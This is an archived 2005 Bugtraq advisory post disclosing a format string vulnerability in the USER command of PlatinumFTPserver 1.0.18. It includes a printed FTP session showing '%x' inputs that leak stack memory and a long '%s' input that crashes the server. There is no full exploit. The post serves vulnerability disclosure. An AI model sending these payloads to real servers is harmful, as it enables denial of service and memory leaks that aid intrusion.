bugtraq - PlatinumFTPserver format string vulnerability ( IHSTeam )

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Wed, 16 Mar 2005 08:56:20 -0500 (EST)
From: c0d3r@...team.com
To: bugtraq@...urityfocus.com
Cc: news@...uriteam.com
Subject: PlatinumFTPserver format string vulnerability ( IHSTeam )


**********************************************************************
advisory URL :  http://www.ihsteam.com/advisory/PlatinumFTPserver.txt
**********************************************************************

********************************************
IHS Iran Hackers Sabotage Public advisory
by : c0d3r "Kaveh Razavi"  c0d3r@...team.com
********************************************

well yesterday a guy found a simple user overflow in PlatinumFTPserver vr
: 1.0.18 and prior.
I downloaded the package at :
http://www.roboshareware.com/products/PlatinumFTPserver.exe
and started to disassemble the vulnerability . He was written a DoS .
PlantiumFTP has got a good error controlling system . so eip overwrite is
not easy .
but I found another vulnerability when I was fuzzing .
the server is also vulnerable to USER format string attack .
here is the result :
---------------------------------------
C:\Documents and Settings\root>ftp
ftp> open 127.0.0.1
Connected to 127.0.0.1.
220-PlatinumFTPserver V1.0.18
220 Enter login details
User (127.0.0.1:(none)): user %x%x
331 Password required for user 026d0048.
Password:
---------------------------------------
ftp> user AAAA%x%x%x%x
331 Password required for user AAAA026d0048020313333.
Password:
---------------------------------------
ftp> user
AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
331 Password required for
AAAA026d00480203133337373615064726f7771657220657269756f662064414120727825414178257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825d2e782512000a77f5508212cdd812ce1012cdfc12cdb01305dc012ce00.
Password:
---------------------------------------
ftp> user AAAA%s%s
331 Password required for AAAAÈsÈjÈ{PÈ`     .
Password:
---------------------------------------
ftp> user
AAAA%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
hanging ==>
szAppName : PlatinumFTPserverEngine.exe     szAppVer : 1.0.0.18
szModName : user32.dll     szModVer : 5.1.2600.1106     offset : 00008f7f
The instruction at "0x01606feb" refrenced memory at "0xaf613daf". the
memory could not be "written".
---------------------------------------
and these kinda playing !

I am busy with university etrance exam stuff so I cant write the exploit
code and really it doesnt cost .
well laters . and this will be the last sweet to IHS until my shitty exam .
all the credits go to IHSteam.com .
greetz fly to : LorD and NT of ihsteam , Jamie of exploitdev.org and other
friends and security teams .
well I will come to u later shervin_kesafat my great lamer !